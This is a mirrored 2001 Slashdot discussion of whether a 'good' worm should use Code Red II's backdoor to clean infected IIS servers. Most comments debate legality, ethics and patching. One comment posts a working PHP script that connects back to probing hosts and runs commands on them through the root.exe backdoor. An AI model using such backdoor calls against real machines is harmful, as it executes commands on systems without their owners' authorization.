Slashdot Mirror


Fight Virus With Virus?

Insanik writes "I am not an expert with internet worms like Code Red. However, I am curious if it would be possible to create a friendly worm/virus/whatever that would fight the original by using the same security holes. For instance, I read that Code Red II opens a back door. Why not have another virus that exploited the back door, closed it, then started sending itself to other servers for a certain period of time? " The submittor raises an interesting question - is this possible? I would guess so, in theory. And while we're working on Code Red, can we send a large man to the home of my latest Sircam senders and politely "ask" them to stop clicking on virii?

697 comments

  1. Correction Was:You could do that, but don't! by AndroidCat · · Score: 1

    I hope I didn't just /. those urls! :^)

    --
    One line blog. I hear that they're called Twitters now.
  2. Re:Don't be a part of the problem - Cisco fix by Koda · · Score: 2, Informative

    FYI, I have a normally reliable Cisco 675 router that Was repeatedly being infected with Code Red, requiring a reboot each time. Here's the easy fix:
    1) From the "cbos#" prompt*, input the command "set web disabled". I think you'll have to follow that up with the "write" command. That shuts off the router admin web-interface. If you really must have that interface, you can change the port instead.
    2) Upgrade the CBOS to version 2.4.1. See http://www.cisco.com/warp/public/707/cisco-code-re d-worm-pub.shtml for more, and check your ISP's web site for the actual patch.

    Hope that helps...

    *Note: to get to the "cbos#" prompt, input the command "enabled" at the "cbos>" prompt.

  3. Re:It sounds like a good idea, but.. by gamorck · · Score: 0

    Wrong. You dont write a second worm. You simply a write a daemon that runs on an IIS box. This daemon (part of which I have already written - just cant get it to work right) - would intercept code red attacks - and then attempt to deinfect the attackers box using the security holes code red left behind. It wouldnt actually "spread" itself. It would just clean the infected boxes remotely. If enough smart people install it - code red is history.

    My damn code works perfectly in my test environment - but only works halfway on the net......

    Gam
    "Flame at Will"

    --
    I love idealists not because I am one, but because they make life bearable for pragmatists such as myself.
  4. Re:You'd spawn a war that hasnt escalated so far by SirSlud · · Score: 2

    This is like saying that a certain amount of rape is inevitable, so lay back and enjoy it.

    No, it's like saying a certain amount of rape does not justify raping the rapists (otherwise we could just allow rapists-to-be to get their jones off raping rapists (of their gender preference of course)). I realize that sometimes we are stuck between a rock and a hard place when dealing with miscreants, but the power to commit acts deemed illegal at the behest of authority leads to corruption - family and friends of those in charge of supervising the counter-rapes would no doubt get first shot, rape harder than the rapist did, longer .. more violently .. pick your poison, but eye-for-eye almost always leads to revenge worse than the original crime, even if it is in the name of authority.

    I support community action more than the average individual, but there is a very important distinction here: community action is only warrented when the action is to stem abuse and corruption AND the adversary does not make themselves avaiable to a dialog; and even THEN, only if they refuse to aknowledge that a large enough opposition to their behaviour or ideals should result in change.

    I do NOT support community action to fight violence. Why? People are not responsible enough to recognize the difference between revenge and problem resolution. When it comes to the moment when you're smashing the bat over some dissident's head, you're probably not thinking about whether or not said dissident will continue their actions (in this case, continue writing bad viruses), but rather how much the dissident had this coming to them. And since you've lost sight of the goal, no resolution is likely to come from it. Same goes with white hat viruses .. sure, some of the viruses will help fight malicious ones, but after awhile, it will be difficult to tell just who the white and black hats are. Nevermind that the popularization of viruses for the cause of 'good' will start masquerading about for various personal causes; ie, the 'good' virus that only attacks 'hell-bound' porn sites, or 'good' viruses that only attack sites which endorse gay rights. (Well, of course, these types of attacks and viruses already exist, but legitemizing the distribution of viruses would only allow these authors to claim they are writing 'good' viruses.)

    All this is notwithstanding the fact that you'd raise awareness of how to write viruses (I'd imagine you could easily publish a book "How to get into an IIS server, and spread .. for good."), nor figure in the cost of 'good' viruses written improperly, and subsequently causing as much damage as the 'bad' viruses they seek to purge.

    Unfortunately, mentalities like yours seem to prevail. People lack the tolerance and foresight to see that sometimes the eye-for-eye cure, no matter how self-satisfying, can cause the problem to reach levels of magnitude far beyond that which it would have reached had resolutions be seeked IN OTHER WAYS.

    Incidentally, there is someone on our street with cracked windows. Despite this, everyone else seems content to continue to take pride in the appearance of their dwelling; the lawns are mowed, and the flower beds are gorgeous. If the motivation for behaviour was whatever the lowest common demonitor was, we'd have never gotten out of the stone age. I should hope that the sole motivator for maintaining some sense of responsibility, dignity, and self-control is not that others HAVE to do it to. I could list hundreds of examples, from j-walking to litter in which the only reason they havn't reached catasphoric levels is because SOME people take it upon themselves not to contribute to the problem, even if there is little chance of being punished or caught. Even if littering and jwalking were legal, I'm positive a significant portion of the population would continue respecting others' environment and traffic flow.

    A please notice I never once suggested we 'lay back and enjoy it', although I suppose drawing judgemental conclusions out of posts has long since become a /. tradition. I'm just saying, there are other ways to fight viruses .. such as forcing a certain software maker to fix the pieces of swiss cheese they call web servers and mail clients, or condemning friends and family for not practicing caution when being online.

    --
    "Old man yells at systemd"
  5. While it seems like a good idea... by the_ph0x` · · Score: 1

    ... and fun for the entire family no less.

    Think of the added bandwidth usage that would cause - consievably doubling or trippling the amount of wasted line volume. Just download more pr0n ... it's better in the long run.

    .ph0x

    --

    ---
    ps -aux | grep mind
  6. Why is it a bad idea? by dave-fu · · Score: 1

    I'm not sure which you're talking about. Blackholing port 80 isn't a bad idea short-term, but running with the assumption that sooner or later, it'll be opened back up, while insane amounts of traffic may not come with it, there's still a small matter of rooted boxes out there that people haven't fixed, which present a big problem: their ISPs should block traffic to their webserver based on the rooting and send them an e-mail indicating as such.
    Why's a "good worm" a bad idea? Something about it being untested, something about it whoring up bandwidth on its own, something about it being as much of an unknown quantity as the worm it purports to fix, you know. Like that.

    --
    Easy does it!
    This comment has been submitted already, 276865 hours , 59 minutes ago. No need to try again.
  7. A nice thought.... by trazom28 · · Score: 1

    This has some merit, as far as what it would intend to do - go out and fix stuff, making the world a more secure place. (here it comes...) But.... it opens up way too many cans of worms (no pun intended) as far as privacy issues and such. For example, I don't want some unknown worm of some sort poking at my web server. I want *me* poking at it, knowing what's going on with it, etc. If I go to run a patch, and suddenly it says "this patch has already been run" I wanna know why, and how, and who. Also, it comes down to the fact that sysadmins can't be lazy. I've seen so many, many "tech ppl" who think they have a clue, think that all they need to do is install a few things, and they're gods. They forget the second half.. the *work* part of their job.. where they have to go out, get patches, keep up to date, be PRO-active to problems and potential problems. My thought on that is, maybe if a few systems get infected, it might wake up some of these techs and get them to motivate their collective butts to get themselves patched. If they don't, it's nobody's fault but theirs.. the patches have been out for months.

    --
    {} ------ When I think of a good sig, I'll put it here
    1. Re:A nice thought.... by Anonymous Coward · · Score: 0

      While there is work to be done, you can work smarter. If you had a 100 servers to patch of different flavors, keeping up with all their patches and making sure they get patch would be a night mare. That is why often times people will use things like rsync of HP Open/View to automate the distribution of patches. Now, as I posted earlier, if someone was to make a controllable worm, that only worked on a certain set of machines or subnets, then I think that would be OK. Then the admin himself could launch this thing on his own machines.

    2. Re:A nice thought.... by Anonymous Coward · · Score: 0

      The problem is that most of these systems were hacked because they have no Administrator. A log of the attacks I have seen have come from (probably cracked) beta versions of Win 2K. If someone is still running a beta version of Win 2K, it's a good bet that they haven't ugraded in a while and they probably wont. Odds are, these people don't even know that they are running IIS, so how would they know to patch it? Now, I hate those stupid auto-update programs that Microsoft runs all the time so that Administrators don't have to administrate... But in today's Microsoft era, when people expect their OS to be self administering, how do we keep people's ignorance from endangering others? I am reminded of drivers licenses. If someone can't prove that they are able to drive without endangering others, then they can't drive. So how can we do this with the Internet? How can we tell someone "Sorry, you can't run a server, because you can't keep it patched against viri(sp?)".

  8. Re:Its entirely possible by Tassach · · Score: 3, Informative
    Plus, lawyers have to be careful about what they say in a forum like this -- a lawyer cannot give "official" legal advice to someone who is not his or her client. This is why any legitimate law-related web site has a disclaimer like "this is not to be construed as legal advice".

    --
    Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
  9. Best friendly virus that does no arm: by tcc · · Score: 2

    My approach would be educate in a real-world situation. If someone has too much time on his hands and wants to do this, well here's a suggestion:

    Lock the screen in black, disable ctrl-alt-delete on any OS, and type this a bit below average reading speed in white:

    "Boo... I'm a virus, you know what you did was really dumb?... You're lucky this time, you will lose no data, I won't send anything critical by email without your knowledge, and your operating system will stay intact... in exchange you'll have to bare with this message for a few minutes.

    Clicking on attachments in your email when you don't even know where it comes from = Stupid.

    Clicking on attachements of which you don't even know the extension = Dumb.

    Opening a file that you don't know about in your [download] directory = Asking for trouble

    Did you know that running an operating system without updated antivirus file, or without antivirus at all is bad when you're a rookie? (you ARE a rookie since you are reading this, please don't consider yourself bright or IT-man 2001 because if you ARE actually working in IT, you're even dumber than a rock, reason #1? a rock wouldn't catch this virus)

    If you typed CTRL-AlT-DELETE anytime while this was displayed, you diserve to be wiped and bitchslapped you selfish log, if you don't care about the damages you can get, think about the damages you can create by spreading your stupidity?

    Now find a way to remove me, else I'm gonna repeat this every xx minutes, and in the end, I might actually end up doing something bad.

    Regards, retard!"

    howzat? :)

    --
    --- Metamoderating abusive downgraders since my 300th post.
  10. Re:I Hope You Keep Bail Money Near Your Gun by operagost · · Score: 1
    Who are the people with the power? WE, THE PEOPLE OF THE UNITED STATES. That, my friend, is the first line of the Constitution, THE basis for federal law. It continues, "... in order to form a more perfect union, establish justice, insure domestic tranquility, provide for the common defense, promote the general welfare, and secure the blessings of liberty to ourselves and our posterity, do ordain and establish this Constitution for the United States of America.

    Emphasis mine, of course. Patrick Henry summed it up, but the Constitution spells it out.

    Thanks for taking my bait.

    --

    Gamingmuseum.com: Give your 3D accelerator a rest.
  11. Sircam, the Voyeurs virus. by irqzero · · Score: 1

    Sadly I haven't gotten many of
    these virii mails, however when I do,
    I always |strings (just like with any word doc). It's interesting what you end up finding.
    According to a friend of mine, a SirCam infected PC in his HR dept sent out an excel spreadsheet with employee salary's. Yippeee!

    --
    this space intentionally left blank
  12. "Cheese" worm? by meisenst · · Score: 1

    Haven't we seen this already with the Cheese worm? It attempted to fix broken Linux systems and repair damage done by other worms.

    IIRC, people didn't appreciate it, and noted so in the Slashdot article about the worm (found here).

    Why would this be any different?

    (not that I'd seriously mind having some of my work done for me, but hey... I don't want people playing around on my machines, regardless of why they're doing it)

    meisenst
    --
    Green's Law of Debate: Anything is possible if you don't know what you're talking about.
  13. works until.... by metalhed77 · · Score: 2, Insightful

    you have about 600 anti-virus viruses on your server you don't know about some of which were poorly written leaving the admin to weed out the cpu hogging, mem leaking, anti-virus viruses.

    --
    Photos.
    1. Re:works until.... by WNight · · Score: 2

      Better the admin has to reinstall the OS (trust me, MS admins are GOOD at that!) after it becomes slow and boggy from too many patches, then after some kiddy r00ts it, DDoSes with it, and formats the drive, taking out any data they might have had on it.

      After all, either way they've got to clean up, the easiest way to clean an MS system from an unknown problem is to reinstall and download all the updates. One way they do it because the machine is a bit slow or unstable, run of the mill for a windows server, the other way they do it after contributing to potentially millions of dollars of 'damages' (usually lost sales) at some target site.

  14. Re:Why not put up a webpage that people can use? by jpostel · · Score: 1

    I have often thought about the countersuit idea. It would not be criminal court though. You would be in criminal court. It would only work if there were some law about negligence or criminal facilitation, but you would have to prove that they knew their server was hacked and failed to take actions to fix it.

    --
    Ummm, Jon, aren't you supposed to be dead...? - Otter(3800)
  15. Re:IIS = Loaded Gun? by j_w_d · · Score: 1
    God, Im so pissed off now that I could fucking strangle a fucking poodle and throw it in traffic, except that if I am in California the damn liberals there would just throw me in jail. Now Im pissed off and I don't have any creative outlet other than to take it out on some sorry ass linux zealot. I'd punch you in the face but I don't want your god damn zits to pop all over me thus coating me in layer of thin

    Is it possible you accidentally left your sense of humour and response to irony in your other pants?

    --
    ------ The only greater hazard to your liberty than n politicians is n+1 politicians.
  16. Re:Its entirely possible by Shoten · · Score: 3, Interesting
    A case cannot be made for self-defense, and here is why.

    If you are in a dark alley somewhere, and there is one other person, and he draws a gun on you, indicates an intent to harm you, you have the right to use your weapon ONLY IF that is your last resort. And I won't even go into the notion of the "danger to life and limb" that is present in that scenario, but suffice it to say that generally speaking, you can do things you can't otherwise get away with if it's for the purpose of saving a life.

    When it comes to your web server, nobody's going to die if you get defaced, rooted, bent over, etc. It costs some money to fix, ok, but that does not give you carte blanche to break the law at a similar level. Keep in mind that nearly every law that outlaws hacking is based on "unauthorized access." It doesn't matter WHY you're doing it, just that you know you're not supposed to be there. And if you're basing your code upon a notorious worm...well...good luck trying to say "I didn't know!" :)

    Final point, you have other options. Keep up with your patches. Install IDS and watch the logs. Yes, this takes work, but so does writing a counter-worm every time a new worm comes out, and at least this way you can be protected BEFORE it hits, not after. And if all those Code Red-nailed boxen are knocking any of your systems offline, I gotta tell ya, you need to do something about your network, because as severe as the scanning is, I haven't heard from a single client who has actually had downtime from it.

    --

    For your security, this post has been encrypted with ROT-13, twice.
  17. Re:This has already happened by Anonymous Coward · · Score: 1, Interesting

    One example of something similar is the "noped" virus, which scans for child pornography and then emails any suspect files to law enforcement authorities. A good description on the possible legal implications is located here http://www.infosecuritymag.com/digest/2001/05-31-0 1.shtml

  18. Re:Great business plan. by shippo · · Score: 1
    Something like this has just come up at work here. A customer that runs NT all over want us to send someone to their office at the other end of the country just to install the IIS fixes to one machine.

    It amazes me that someone of their nature (a major name) hasn't got anyone competant on site to install this FIX.

    Then again, judging by the fact that their standard FIX to performance problems on a Solaris machine was to reboot it, I'm suprised that anything works at all.

  19. A Case for self defense? by Snowbeam · · Score: 1

    I am not a lawyer, so please take what I say with a grain of salt (Maybe more).

    If your local machine were to have the equivalent of a self defense mechanism, that responded only to direct attacks by other machines, that's one thing. With such a system your machine is limited to warning the attacking system before using minimal resources to defend itself.

    On the other hand, if your machine is actively seeking to modify an attacking system, by patching it, destroying it or otherwise, one would say you've gone beyond self defense and are an active participant in malicious intentions.

    Causing another machine to patch be patched and then to still attack another system simply to patch it up, seems like a grand idea, but the root problem remains, and you've simply added to it. Legally, I believe, this would be called an ilegal act (remember grain of salt).

    --
    I am Lord Snowbeam. Heed my call!
  20. But you'd get sued by...[Re:Its entirely possible] by gmatyola · · Score: 1

    Microsoft... because if you downloaded their 'official' IIS patch from their website, they MAKE you aggree to run this code on one and only one licenced PC... And they WOULD probably sue you on principle. Then patent your proactive updating technology for Windows XP.

  21. Re:Its entirely possible by HiTechRedneck · · Score: 1

    Yes, but the server you are responding against is not the attacker... it is a victim of the worm. That's like shooting the hostage and the attacker to defend yourself... That doesn't seem right to me. That is a bit different though considering you are not causing damage to the "hostage" machine, but you would be trespassing since you did not get permission from the owner to fix the problem.

  22. Re:Possible? Yes, of course. by AndroidCat · · Score: 1

    Come to think of it, I like the name "Code Raid" better -- Kills those bugs and worms dead!

    --
    One line blog. I hear that they're called Twitters now.
  23. Re:Its entirely possible by aengblom · · Score: 0, Redundant

    In this case, you would be shooting at every gun owning or potential gun owning person you come across. This is generaly frowned upon

    --


    So close and yet so far from the world's perfect ID number
  24. Re:The law's not on your side by acidrain · · Score: 2, Interesting

    What about just disabling the viris as a response to the scan? As Code Red boxes advertise themselves as infected and vulnerable, you don't need to probe the net for infected/vulnerable computers. Besides, releasing _any_ scan-and-infect worm on the net is a bad idea.

    Is automatically patching someones box for them (as compared to infecting it) a valid form of self defence? I can't see being sued for it.

    If you wanted to go a little further overboard, you could install a defensive-response worm in response to an attack. It would only spread as far as the origional infection and place minimal load on the net.

    --
    -- http://thegirlorthecar.com funny dating game for guys
  25. what if ... by operagost · · Score: 1

    I made a virus that installs Apache on the system? That would do the trick.

    --

    Gamingmuseum.com: Give your 3D accelerator a rest.
  26. Re:Goatse.cx virus! by CakerX · · Score: 1

    now THERE is something to get cracking at, for all of those who didn't know, there are certain fellows who take goatse.cx as a religon, boy would they be happy to see it spread!!!, not only is goatse a nasty image, it has also grown to be a symbol of internet counterculture.

  27. Re:Its entirely possible by jeremyp · · Score: 1

    I think you have a right to point a gun at them. Whether you have the right to pull the trigger depends on their reaction (if they have a lethal weapon of their own, then maybe you shouldn't wait for a reaction). If your gun causes them to run away and you still shoot them, I say that makes you a murderer.

    --
    All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
  28. Re:Citizen's Arrest by Kenyaman · · Score: 1

    You can't sue someone because somebody misuses their product. If I kill your puppy by putting drain cleaner in his food dish, you can't sue the drain cleaner manufacturer.

    I think Microsoft would be safe. This is clearly not the intended use of their product.

  29. Re:It sounds good in theory... by krogoth · · Score: 1

    Here's a safe alternative: make this php script 'default.ida' and configure apache appropriately. It places a warning in c:\, c:\my documents, c:\winnt\start menu\programs\startup and c:\winnt\desktop (trying to have everyone covered). It then logs the requests so you can email the administrators. (You will need to remove the extra spaces added by slash)
    <?php
    header("HTTP/1.0 400 You appear to be infected"); ?>
    <html>
    <title>Red Alert
    <?php
    $fp =fsockopen($REMOTE_ADDR,80,$en,$es,5);
    if (!$fp)
    {
    echo "I tried to warn you, but couldn't connect: $es ($en)";
    }
    else
    {
    fputs ($fp, "GET /scripts/root.exe?/c+echo+Danger:+you+are+infected +with+code+red+2.+Please+go+to+http://www.microsof t.com/Downloads/Release.asp?ReleaseID=30800+>+c:\\ a viruswarning.txt HTTP/1.0\r\n\r\n");
    fputs ($fp, "GET /scripts/root.exe?/c+echo+For+windows+NT4+use+http ://www.microsoft.com/Downloads/Release.asp?Release ID=30833+or+to+prevent+future+worms+either+turn+of f+ISS+or+go+to>>+c:\\aviruswarning.txt HTTP/1.0\r\n\r\n");
    fputs ($fp, "GET /scripts/root.exe?/c+echo+http://www.apache.org+fo r+a+real+server.+You+can+contact+me+at+MYEMAILADDR ESS+This+is+an+automatic+warning+system+that+sends >> +c:\\aviruswarning.txt HTTP/1.0\r\n\r\n");
    fputs ($fp, "GET /scripts/root.exe?/c+echo+you+this+warning+when+yo ur+server+attacks+mine+(of+course,+I+use+a+server+ that+isnt+vulnerable+to+so+many+attacks),+so+this+ message+was>>+c:\\aviruswarning.txt HTTP/1.0\r\n\r\n");
    fputs ($fp, "GET /scripts/root.exe?/c+echo+triggered+when+my+server +was+attacked.>>+c:\\aviruswarning.txt HTTP/1.0\r\n\r\n");
    fputs ($fp, "GET /scripts/root.exe?/c+copy+c:\\aviruswarning.txt+c: \\docume~1\\Administrator\\mydocu~1 HTTP/1.0\r\n\r\n");
    fputs ($fp, "GET /scripts/root.exe?/c+copy+c:\\aviruswarning.txt+c: \\docume~1\\Administrator\\desktop HTTP/1.0\r\n\r\n");
    fputs ($fp, "GET /scripts/root.exe?/c+copy+c:\\aviruswarning.txt+c: \\docume~1\\Administrator\\startm~1\\programs\\sta rtup HTTP/1.0\r\n\r\n");
    echo "I tried to warn you, and the server started to say:<h2>";
    echo $res =fgets($fp,1024);
    fclose($fp);
    }
    $log=fopen("/var/htdocs/logging/redalert.log","a") ; fwrite($log,$REMOTE_ADDR . " " . date("r") . " " .$res );
    fclose($log);
    echo "</h2> $SERVER_SIGNATURE";
    ?>

    --

    They that quote Benjamin Franklin on liberty and safety deserve neither.
  30. Re:Don't be a part of the problem by Ctrl-Z · · Score: 2, Informative

    The problem -- as many knowledgeable folks have already reported -- is that admins are reluctant to update production servers, because of the fact that such updates can and do break those systems.

    Do you really want to rely on Microsoft's updates to be reliable and correct? Updates are best installed on test servers and then migrated to production systems. The fact is that once an exploit is discovered, it typically takes several months for destructive software to be released that takes advantage of the export. Code Red came out much quicker and that has caused many of the problems we are witnessing.

    --
    www.timcoleman.com is a total waste of your time. Never go there.
  31. Send a bill to Microsoft by Anonymous Coward · · Score: 0

    It is unlikely that you will ever be able to collect damages from Microsoft due to its negligently written, destructive products. But why not send Billy-boy a bill for the repairs anyway?

  32. Re:Why not? by Anonymvs+Cowardvs · · Score: 1

    How could it be a problem? It could have a bug.

    Remember, this thing would be entirely out of your hands once it started propagating. Keeping in mind that programmers are human, consider what would happen if something went wrong along the way. I mean, even RTM found that his worm didn't do what he expected.

    Also, imagine what would happen if someone used your worm with a malevolent payload. We're talking seriously bad publicity.

  33. Re:again together by Iffy+Bonzoolie · · Score: 1

    Hell, yes! I'd take Alexander the Great over Napolean any day. I'd take Napolean over Hitler any day.

    --
    Run a pencil-and-paper RPG campaign with your far-off friends: Gametable!
  34. Re:I've done some of this by hubbabubba · · Score: 1
    You're partly wrong about CR2 infected machines DoSing themselves. CR2 spawns 300 threads that do in fact overload smaller boxes. On more robust servers, though, the box is capable of running those threads and accepting root.exe? requests. Whether or not a machine can handle both has nothing whatever to do with "reinfections" (huh?). Also, if the box doesn't crash altogether or get fixed, the worm goes to sleep in 24 or 48 hrs, at which point it is wide open. Try going back through your list of IPs that were "busy" and you should find plenty of interesting stuff.....er.... theoretically at least.

    hubbabubba

    And don't call me no sigless wonder dangit!

    --
    Fried ice cream is a reality. - George Clinton
  35. Re:IIS = Loaded Gun? by BigBlockMopar · · Score: 2

    Is it possible you accidentally left your sense of humour and response to irony in your other pants?

    He probably hates me because he's not circumcised. [grin] With my .sig, I get irrational stuff like that every now and then.

    --
    Fire and Meat. Yummy.
  36. Re:Why do favors? by Anonymous Coward · · Score: 1, Insightful

    This is such a typical response from a slashdotter. Fine, so these people are using Microsoft, but like it or not there are a bunch of servers that you probably hit all the time that run on IIS. What really pisses me off about this site sometimes is how quick people are to say "screw you" to anything that has to do with Microsoft. I dislike them as much as the next person, but just like all other debates, to each their own. How about we all get to together and help each other instead of constantly ranting about how much 'their' stuff sucks. And if possible, I think the idea of the 'good' worm would be great. Only I doubt the IT people out there would want some random worm playing around with their stuff.

  37. Re:Citizen's Arrest by GreyPoopon · · Score: 2

    How about instead just writing a program that sends e-mail to the offending system every time it makes an attempt to infect your system. That way, you're only notifying them of the problem (each and every time it occurs), and they'll be obliged to do something about it before their e-mail logs fill up.

    --

    GreyPoopon
    --
    Why is it I can write insightful comments but can't come up with a clever signature?

  38. And Open a Can of Worms? by B.B.Wolf · · Score: 1

    Nuf sed!

  39. Re:Heh by Oriumpor · · Score: 1

    who says anyone doing this would have to announce that they did it? why not just go ahead and post it in some warez and let some script kiddie propogate it... and post the source for people to see how insanely easy it was to do it

  40. Re:I Hope You Keep Bail Money Near Your Gun by Anonymous Coward · · Score: 0
    rape your wife after he picks up the good stuff?

    Ah, yes. The good old "they're here to take our women!". And just how many burglars do that?

    I have the right to self defense

    Yes. After he/she attacks you. Attack on your property is not enough. Or do you think your wife is your property?

  41. Source? by SimplyCosmic · · Score: 1
    Could you please make this available for those of us with less than stellar Perl scripting skills?

    Thanks!

    1. Re:Source? by FatOldGoth · · Score: 2

      Hey, who said my Perl skills were anything other than sub-stellar? That's the nice thing about Perl - you don't have to be any damn good to write useful little bits of code. :)

      I'm trying to arrange for space on a relatively ./ proof server right now and should be able to post an easily hackable version of the script there soon. I'll post the URL when it's sorted.

      --

      I would be a paid subscriber if Taco and Hemos weren't such cunts
    2. Re:Source? by jsanglier · · Score: 1

      Since I pay for the server that this scriptis now parked on, I am ducking for cover!

      --
      Wurm Online - the independent MMO - http://www.wurmonline.com
    3. Re:Source? by FatOldGoth · · Score: 2

      As promised.

      They're a bit rough and ready, and will require some customisation and possibly a minor bit of hacking. I've put a few comments in to make that easier, though. Good luck!

      --

      I would be a paid subscriber if Taco and Hemos weren't such cunts
    4. Re:Source? by DraKKon · · Score: 1

      how about this (made a few changes to your script) (modified code at http://unearthed.com/email_codered.txt :

      An analysis of our web server logs has shown that
      Host: $host

      on

      IP address: $address

      scanned us between ${targethour}:00 and ${targethour}:59 BST on $targetday of $month_name[$targetmonth] in a manner that suggests infection by a variant of the Code Red worm.

      This is an automatic notification that makes an educated guess at email addresses of responsible parties. If you are not responsible for this host, please ignore this message and accept my apology for the waste of your time and bandwidth. If you do know who is responsible for this host, I would be grateful if you could pass this notification on to them.

      If you are responsible for this host, you will probably want to patch it as soon as possible, as it is a severe security risk to your organisation.

      If this is an ISP that sells DSL or Cable Modem access, please shut off the offending IP Address's access to the internet. This way they will call Technical Support and then you can advise them that they are infected with the Code Red Worm and they need to patch their system. A headache for the user, but a godsend for the unaffected.

      Details of the procedure for patching the server can be found at:

      http://www.microsoft.com/technet/treeview/default. asp?url=/technet/itsolutions/security/news/nt4srp. asp

      Thank you for your time.

      - $yourname

      --
      "It's not like your minds are as open as the source you love..." - Me to the majority of Slashdot.
  42. Re:Don't be a part of the problem by blakestah · · Score: 2

    In other words, what you do may be ethical, that doesn't make it legal. Using the same methodes as a virus to gain access to someone's computer is not legal. It doesnt matter if you are trying to defend againts a virus, it's still illegal.

    Criminal law guarantees you a trial by your peers. It is not illegal if your peers will not convict you. Here is an example: I knew a fellow in San Francisco who got AIDS as a long-time drug user. He nearly withered away and died. He started smoking pot at the advice of his physician even though it was illegal at the time. He was arrested numerous times, but never convicted of smoking pot.

    You see, a jury of San Franciscans will NEVER convict someone with AIDS of smoking pot to boost their appetite. My friend gained a lot of weight and probably lived another 2 years as a result of pot smoking.

    In the case of CodeRed anti-virii, you would need to have a reasonable argument that your actions were justified as bettering society on the whole. If you don't think such an argument exists, I wouldn't recommend writing it :)

  43. Re:Don't be a part of the problem by blakestah · · Score: 2

    Your analogies aren't valid, because you're talking about cases where there is the threat of physical harm to an actual person. The Code Red virus is annoying, and it's causing major problems, but it's not going to kill anyone, and it's not going to permanently damage your system.

    I disagree. CodeRedII is going to permanently damage your system. It is the equivalent of AIDS for computers - if completely knocks out your defenses, but doesn't cause any harm itself.

    People with AIDS do not live very long. Neither will computers with CodeRedII. They are remote-rooted by anyone accessing the httpd port.

    Also, you neglect to make an analogy between financial harm and physical harm, perhaps on purpose. Both are justifiable legally.

    If you attack someone else's machine, then you're on exactly the same ethical level as the person who wrote the original virus.

    THAT is a flawed analogy. Whereas it may not be appropriate to kill someone for committing murder, using an anti-virus to shut off machines with CodeRedII is completely different. The machines are compromised and vulnerable.

    Imagine you are a business owner, and someone came along, opened the doors to your store, didn't take anything, and left. Are you trying to claim it would be illegal for me to close the door, and place me on the same level as the first person who opened the doors ?????

    If you do believe that, please put down the crack pipe and back away slowly.

  44. Can't do that, didn't you read the patent news? by Anonymous Coward · · Score: 0

    Some antivirus company just patented that, so you'd be sued as soon as you put it up.

  45. Re:Its entirely possible by Swaffs · · Score: 1

    The self defence point is a good one. I wonder if it would change the legality of it depending on how its executed. If you were to set up a script that would clean any machine that asked for default.ida off yours, then is it still illegal? You're not going out and actively searching for and patching servers, you're just hosting a file on your webserver, and if someone else requests that file from you, then its their problem what happens as a result. This passive approach just might be legal. This is all gross assumption however, since IANAL.

    --

    --
    "Karma can only be portioned out by the cosmos." - Homer Simpson [1F10]

  46. Many infected users don't know they're running IIS by fearlessfreddy · · Score: 2, Informative

    I would like to point out that many if not most of the machines that are still being infected by the Code Red worms are operated by users who are not even aware that they are running IIS.

    Case in point, my roommate bought a Dell Dimension L700cx with Windows 2000 about 6 months ago. He was surprized when I showed him that his machine is running IIS and serving the default web page on port 80. This person did nothing to install or activate IIS, the machine was shipped with that configuration.

    I think this fact is important to keep in mind when trying to understand why so many machines remain vulnerable to the IIS attack.

    PS: We run our LAN behind a firewall that denies port 80, so my friend's machine was not infected.

  47. Re:Its entirely possible by FreeForm+Response · · Score: 1

    We need Marcus.

  48. ERRR, HELLO!!! ATTEMPT TO CONTACT WORLD!!! by AKAImBatman · · Score: 1

    Just a thought, but wouldn't it be perfectly legal to use the security hole to do a "net send Your machine is infected with CodeRed!!! Fix it!"? I mean, you are not touching their property, just sending a message. Since they inadvertently sent contacted you first, I believe that you are within your rights to contact them back. Anyone?

    1. Re:ERRR, HELLO!!! ATTEMPT TO CONTACT WORLD!!! by J'raxis · · Score: 2
      Create a default.ida file on your website (or whatever IIS file the next Windows worm chooses to exploit) with your "terms and services of usage":
      By connecting to this machine, you agree to the following...
  49. Re:I Hope You Keep Bail Money Near Your Gun OT by firewood · · Score: 1

    If you were a burglar in the UK you were (and are) very, very unlikely to get shot even before the "draconian" gun laws came in. There simply weren't enough guns around to make it a worry. So even if burglaries HAVE gone up since then, it's completely and totally unrelated.


    Depends on whether or not you believe in statistics. Someone wrote an entire book on the inverse relationship between private gun ownership and certain categories of crimes; seems to apply whether or not any burglers get shot. Go figure.

  50. Old idea by Gruturo · · Score: 2, Interesting

    It already happened about 15 years ago or so... it was called "Vacsina" and actually cured 1701/Cascade, 1704/format and Jerusalem, if I recall correctly. It was even auto-updating: different vacsina versions would recognize each other and the most recent would overwrite the older. Sadly, a few "nasty" strains came out too....

    --

    Vacuum cleaners suck. Kings rule.
  51. Re:virus vs virus by alfredo · · Score: 1

    I remember that happening on the Mac. I think it was a holiday timebomb. It was classified as a virus, or rather a trojan horse in this case.

    --
    photosMy Photostream
  52. A Solution by prothid · · Score: 1

    All someone needs to do is write something that disinfects hosts that scan it. Then it installs itself on the scanning host and closes the holes and waits for more hosts to scan it. Maybe even have it uninstall itself after a week or two.. or just leave it until the administrator uninstalls it. You could leave a big icon on their desktop or something :P Let the infected machines find you. Don't go searching for infected machines.

  53. Re:Don't be a part of the problem by Archangel+Michael · · Score: 1

    Why do schools neglect an ethics curriculum? They used to. But the US Supreme Court ruled that freedom of religion means freedom from religion.[br] [br] Besides, who's ethics are you going to choose. Mine (Militant Legalistic Christian) or yours (liberal anyting goes Pinko/Commie)?

    --
    Agent K: A *person* is smart. People are dumb, stupid, panicky animals, and you know it.
  54. Re:Its entirely possible by jstockdale · · Score: 1

    I just was thinking about the Code Red II and was wondering why a virus would be needed to cure them of the predicament they are in. It seems that because the virus itself opens up a backdoor which can be used to execute any command on the system, it would be possible to broadcast shutdown commands to the networks which the servers lie on. Since the virus itself is harbored in ram, it would be wiped with this. Sure it wouldn't patch the hole, but it would eliminate the threat. Also, IANAL, but I would imagine your liability for this would be much less, as you have altered no authorized data on the server, but (in the spirit of all the great analogies on slashdot today) have just asked for the server to purge itself and it has kindly obliged.

    --
    **AA: a bunch of mindless jerks who'll be the first against the wall when the revolution comes
  55. well... by Heywood+Yabuzof · · Score: 1

    Neither NT nor 2K install IIS by default ... but I'm with you on the way it's set up when you actually do install it - on 2K the default install of IIS includes not only a web server, but FTP and SMTP. Needless to say, not a nice thing to have popping up all over your intranet when developers need to test their web-based apps :-)

  56. Code Red gone in 24hrs by Anonymous Coward · · Score: 0

